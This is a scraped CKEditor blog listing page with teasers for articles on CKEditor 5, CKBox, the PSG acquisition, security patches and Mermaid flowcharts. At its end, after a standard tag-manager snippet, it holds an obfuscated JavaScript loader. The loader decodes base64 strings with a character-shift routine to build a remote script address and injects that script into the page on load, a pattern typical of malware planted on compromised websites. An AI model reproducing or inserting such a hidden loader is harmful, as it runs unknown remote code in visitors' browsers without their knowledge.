Report: 2024 State of Collaborative Editing

Get insights on the trends and future of collaboration in RTEs Download now

Read now
Piotrek Koszuliński, the leader of the team behind the creation of CKEditor 5. In his daily work, he focuses on software architecture and team development.

Freedom in IT. What are the advantages of working on your own product? A talk with Piotrek Koszuliński, CKEditor 5 Project Leader

Piotrek Koszuliński is the leader of the team behind the creation and success of CKEditor 5. In our interview, he shares his thoughts on the reasons why this product is so unique and so popular. He also sheds light on the technical side of CKEditor 5, ins and outs of creating a top-notch open-source project, and some of the mistakes made along the way.

CKBox in the foreground. With a brand new file management platform you can store your files, change their parameters and much more.

CKBox - a brand new file management platform now available

We are excited to announce a brand new product called CKBox which has been designed with love for end-users. It’s a modern SaaS file management platform with a beautiful interface, responsive images and top-notch UX. It supports a wide range of digital assets and can be easily integrated with CKEditor 5 or run independently.

CKEditor in the background and some people at the front

How different industries make use of CKEditor. Part 1: Healthcare, banking, insurance, accounting & real estate sectors

The complete CKEditor solution, packed with stable, reliable components, can help any business start with a bang or accelerate its growth immensely. It can truly be a game-changer for many organizations - regardless if they are Fortune 500 companies, start-ups, or other projects. How exactly do particular businesses, representing healthcare, banking, insurance, accounting, and real estate sectors, make use of it?

Accessibility myths

Let’s face it: accessibility is still kind of a niche topic. And, as with nearly every niche topic, there are some “common knowledge” things or, as I like to call them, myths. I’ve chosen some of them and in today’s article, I will dig into them to see if there is some truth behind them.

Two people shaking their hands

CKSource is acquired by PSG, a growth equity firm

CKSource, the company behind CKEditor, has been acquired by PSG, a growth equity firm that partners with software and technology-enabled services companies to help accelerate their growth. We have always been committed to provide a future-proof product ecosystem to our diverse and digital-forward customer base, and with the support of PSG, we will continue to do just that, on a larger scale.

Guy with the CKEditor flag on the top of the mountain

Best project management tools - tips on how to succeed

Powerful project management software plays a pivotal role in digital transformation and belongs to the most efficient online solutions. Project management tools help to make the workflow run smooth, with progress being tracked - which may be crucial in making any task successful. But how to succeed when developing such a tool? Which features and components are truly vital in this regard?

A woman is reading a book. On the right there is an editor with collaboration feature

A starter guide to collaboration - CKEditor 5

CKEditor 5 is the next-generation rich text editor with WYSIWYG methodology at its core that can be implemented within web-based software. One of the things it was designed for and that makes it stand out on the market is collaboration.

Feature spotlight - HTML to Word converter

The MS Word .docx file format is an industry standard nowadays. The HTML to Word converter and the Export to Word editor plugin enable the incorporation of this format in your work for portability and cross-platform compatibility of your content.

Bett + CKEditor on the front and in the background people discussing on some project

What to focus on when choosing an editor for your education software – Bett UK 2022

On 23-25 March 2022, CKEditor 5 is joining Bett UK where 400+ Edtech providers will share their solutions with the educational community. But before we land in London and tell you all about easy and reliable writing solutions CKEditor 5 can offer, we would like to quickly go over some key points education software creators should watch out for when choosing a rich text editor for their software, and what sort of performance they can expect from CKEditor 5 in those areas.

CKEditor on the first plan and some workers between the editor

CKEditor 4.18 browser bugfix and security patches

CKEditor 4.18 comes with important security fixes for the HTML processing core module and dialog plugin and a browser patch. We have also decided to make the WebSpellChecker Dialog plugin obsolete due to its end of life. Check out CKEditor 4.18 and find out, what was improved!

GitHub writer

GitHub Writer now available with Mermaid support

GitHub has recently introduced Mermaid support. Mermaid is a flowchart and visualization tool that is similar to Markdown. CKSource meanwhile has introduced it to its GitHub Writer platform, which is a rich text editor within GitHub and based on CKEditor 5.

Man looking on the charts

Basic overview of creating flowcharts using Mermaid

Mermaid is now available on GitHub and is a flowchart and visualization tool that was inspired by the Markdown language. Users can create a variety of chart types and insert them into the text fields of GitHub. These text fields or places where these charts can be inserted include wikis, documentation, pull requests and more. In this guide we show you the various options of creating a flowchart using this language.

CKEditor 5 with emphasized Revision History and possibility to collaboration

Revision History now available with Real-time Collaboration in CKEditor 5

For a long time, the Real-time Collaboration feature served our users in the best way possible. It did this, by allowing them to comment and edit content together in a rapid development environment. The same goes for Revision History – a versioning tool that became a user favorite from day one. Now we are bringing both of these great features together in one package!

Three people with laptops

Is coding for everyone?

Is coding for everyone? Can anyone become a software developer? If you think that you’re “unsuited” for IT professions and keep on repeating that you’re “just not a math person”, you may be very wrong. Learn why the right attitude matters so much in this case and what are the key prerequisites and conditions to kickstart a professional coding career.

No entries

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

HiddenGatedContent.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

Form content fields

Form submit

HiddenGatedContent.
Hidden unused field.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });